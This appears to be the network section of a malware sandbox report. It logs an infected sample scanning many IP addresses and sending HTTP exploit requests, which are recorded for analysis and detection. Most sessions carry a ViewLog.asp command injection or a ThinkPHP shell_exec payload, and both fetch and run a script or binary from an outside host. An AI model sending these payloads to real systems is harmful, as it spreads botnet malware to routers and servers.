Dec 26, 2023 21:22:49.789957047 CET	45469	8080	192.168.2.23	85.173.125.45
Dec 26, 2023 21:22:49.789957047 CET	45469	8080	192.168.2.23	31.194.32.22
Dec 26, 2023 21:22:49.789964914 CET	45469	8080	192.168.2.23	62.144.248.80
Dec 26, 2023 21:22:49.789964914 CET	45469	8080	192.168.2.23	95.37.193.57
Dec 26, 2023 21:22:49.789968014 CET	45469	8080	192.168.2.23	95.230.123.175
Dec 26, 2023 21:22:49.789968967 CET	45469	8080	192.168.2.23	31.19.183.170
Dec 26, 2023 21:22:49.789968967 CET	45469	8080	192.168.2.23	95.144.91.243
Dec 26, 2023 21:22:49.789968967 CET	45469	8080	192.168.2.23	95.181.178.34
Dec 26, 2023 21:22:49.789968967 CET	45469	8080	192.168.2.23	62.232.220.207
Dec 26, 2023 21:22:49.789968967 CET	45469	8080	192.168.2.23	85.248.169.17
Dec 26, 2023 21:22:49.789973974 CET	45469	8080	192.168.2.23	85.43.158.103
Dec 26, 2023 21:22:49.789983034 CET	45469	8080	192.168.2.23	62.21.140.138
Dec 26, 2023 21:22:49.789983034 CET	45469	8080	192.168.2.23	31.98.175.110
Dec 26, 2023 21:22:49.789989948 CET	45469	8080	192.168.2.23	31.210.172.231
Dec 26, 2023 21:22:49.789993048 CET	45469	8080	192.168.2.23	62.90.252.237
Dec 26, 2023 21:22:49.789993048 CET	45469	8080	192.168.2.23	85.200.172.84
Dec 26, 2023 21:22:49.789999008 CET	45469	8080	192.168.2.23	62.160.230.66
Dec 26, 2023 21:22:49.790004015 CET	45469	8080	192.168.2.23	94.227.214.14
Dec 26, 2023 21:22:49.790004015 CET	45469	8080	192.168.2.23	31.80.34.117
Dec 26, 2023 21:22:49.790009022 CET	45469	8080	192.168.2.23	95.191.169.149
Dec 26, 2023 21:22:49.790019035 CET	45469	8080	192.168.2.23	95.29.189.147
Dec 26, 2023 21:22:49.790019035 CET	45469	8080	192.168.2.23	31.44.198.127
Dec 26, 2023 21:22:49.790019035 CET	45469	8080	192.168.2.23	85.63.79.253
Dec 26, 2023 21:22:49.790023088 CET	45469	8080	192.168.2.23	95.17.158.255
Dec 26, 2023 21:22:49.790024996 CET	45469	8080	192.168.2.23	95.72.120.38
Dec 26, 2023 21:22:49.790035009 CET	45469	8080	192.168.2.23	85.248.22.237
Dec 26, 2023 21:22:49.790039062 CET	45469	8080	192.168.2.23	95.94.233.89
Dec 26, 2023 21:22:49.790039062 CET	45469	8080	192.168.2.23	95.34.90.25
Dec 26, 2023 21:22:49.790043116 CET	45469	8080	192.168.2.23	31.184.194.135
Dec 26, 2023 21:22:49.790047884 CET	45469	8080	192.168.2.23	62.131.226.161
Dec 26, 2023 21:22:49.790055037 CET	45469	8080	192.168.2.23	85.100.41.117
Dec 26, 2023 21:22:49.790055037 CET	45469	8080	192.168.2.23	31.97.73.73
Dec 26, 2023 21:22:49.790055037 CET	45469	8080	192.168.2.23	62.150.232.57
Dec 26, 2023 21:22:49.790055037 CET	45469	8080	192.168.2.23	85.207.32.130
Dec 26, 2023 21:22:49.790059090 CET	45469	8080	192.168.2.23	95.155.247.65
Dec 26, 2023 21:22:49.790059090 CET	45469	8080	192.168.2.23	95.181.120.25
Dec 26, 2023 21:22:49.790059090 CET	45469	8080	192.168.2.23	62.248.187.100
Dec 26, 2023 21:22:49.790065050 CET	45469	8080	192.168.2.23	85.119.21.31
Dec 26, 2023 21:22:49.790065050 CET	45469	8080	192.168.2.23	31.8.37.118
Dec 26, 2023 21:22:49.790065050 CET	45469	8080	192.168.2.23	95.18.17.84

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.23	48180	94.237.55.152	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:22:46.379880905 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.23	41352	94.122.56.19	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:22:46.432867050 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.23	50360	62.233.41.12	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:22:46.674902916 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.23	36500	94.121.195.24	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:22:46.708798885 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.23	48192	94.237.55.152	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:22:46.835973024 CET	219	IN	HTTP/1.1 400 Bad request Content-length: 90 Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.23	32810	31.200.37.153	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:22:47.196228027 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.23	59838	94.120.236.2	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:22:47.198564053 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.23	54142	95.86.91.231	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:22:47.459285021 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.23	57476	94.68.244.56	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:22:47.926156044 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.23	40030	88.85.89.10	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:22:48.372452021 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:22:48.613431931 CET	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:22:48 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.23	60244	112.155.160.2	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:22:48.467191935 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:22:48.804338932 CET	442	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Dec 2023 20:22:48 GMT Server: Apache Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 182 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8e 4b 0f 82 30 10 84 ef fc 8a 95 bb 2c 1a 8e 4d 0f f2 88 24 88 c4 94 83 47 4c d7 94 04 69 85 e2 e3 df 5b e0 e2 71 66 67 be 1d b6 49 ce b1 b8 56 29 1c c5 a9 80 aa 3e 14 79 0c fe 16 31 4f 45 86 98 88 64 bd ec 83 10 31 2d 7d ee 31 65 1f 1d 67 8a 1a e9 84 6d 6d 47 3c 0a 23 28 b5 85 4c 4f bd 64 b8 9a 1e c3 25 c4 6e 5a 7e e7 de 8e ff 65 9c f2 98 e1 42 11 0c f4 9c 68 b4 24 a1 be 14 80 6d 2f e9 13 18 65 e0 dd 8c d0 3b ec 7d c6 82 ee c1 aa 76 84 91 86 17 0d 01 43 e3 08 b8 c0 dd a7 79 94 f7 03 74 46 9f df cf 00 00 00 Data Ascii: MK0,M$GLi[qfgIV)>y1OEd1-}1egmmG<#(LOd%nZ~eBh$m/e;}vCytF

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.23	45834	31.188.184.56	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:22:48.517651081 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:22:49.857666016 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:22:50.114742041 CET	536	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:22:50 GMT Server: X-Frame-Options: SAMEORIGIN Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' ; object-src 'self' ; worker-src 'self' blob: Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.23	52898	62.117.124.122	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:22:48.524936914 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:22:48.804820061 CET	274	IN	HTTP/1.0 200 OK Server: httpd/2.0 x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Date: Tue, 26 Dec 2023 20:23:22 GMT Content-Type: text/html Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 73 63 72 69 70 74 3e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 2f 4d 61 69 6e 5f 4c 6f 67 69 6e 2e 61 73 70 27 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 48 45 41 44 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><script>top.location.href='/Main_Login.asp';</script></HEAD></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.23	33972	94.123.25.220	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:22:48.535599947 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.23	54232	88.97.102.139	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:22:51.372030973 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:22:51.606693983 CET	711	IN	HTTP/1.0 404 Not Found !!! Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Content-type: text/html <html> <head> <title>404 Not Found !!!</title> </head><body><div align="center"><center><table border="1" cellspacing="0" width="100%"> <tr> <td width="100%" bgcolor="#0000A0"> <p align="center"><font color="#FFFFFF" face="Arial"> <strong>404 Not Found !!!</strong></font></td> </tr> <tr> <td width="100%" bgcolor="#F3F3F3" bordercolor="#000080" bordercolordark="#000080"> <p align="center"><font face="Times New Romain" color="#000000"> <strong>The requested URL was not found on this server.</strong></font></td> </tr></table></body></html> Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.23	50828	95.86.82.97	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:22:52.899977922 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.23	53568	95.27.225.17	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:22:53.175129890 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:22:53.450871944 CET	317	IN	HTTP/1.1 400 Bad Request Server: Web server Date: Tue, 26 Dec 2023 20:22:43 GMT Content-Type: text/html Content-Length: 155 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>Web server</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.23	45508	95.101.5.248	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:22:53.833971024 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:22:54.076354027 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:22:53 GMT Date: Tue, 26 Dec 2023 20:22:53 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 34 62 30 66 37 34 38 26 23 34 36 3b 31 37 30 33 36 32 32 31 37 33 26 23 34 36 3b 33 39 30 62 36 33 31 34 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.a4b0f748.1703622173.390b6314</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.23	42244	95.216.215.70	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:22:54.094099045 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:22:54.363409996 CET	218	IN	HTTP/1.1 404 Not Found Connection: keep-alive Content-Length: 74 Content-Type: text/html Date: Tue, 26 Dec 2023 20:22:54 GMT Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Error</title></head><body>404 - Not Found</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.23	48220	94.123.38.106	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:22:54.101138115 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.23	47280	94.123.244.111	8080

Timestamp	Bytes transferred	Direction	Data
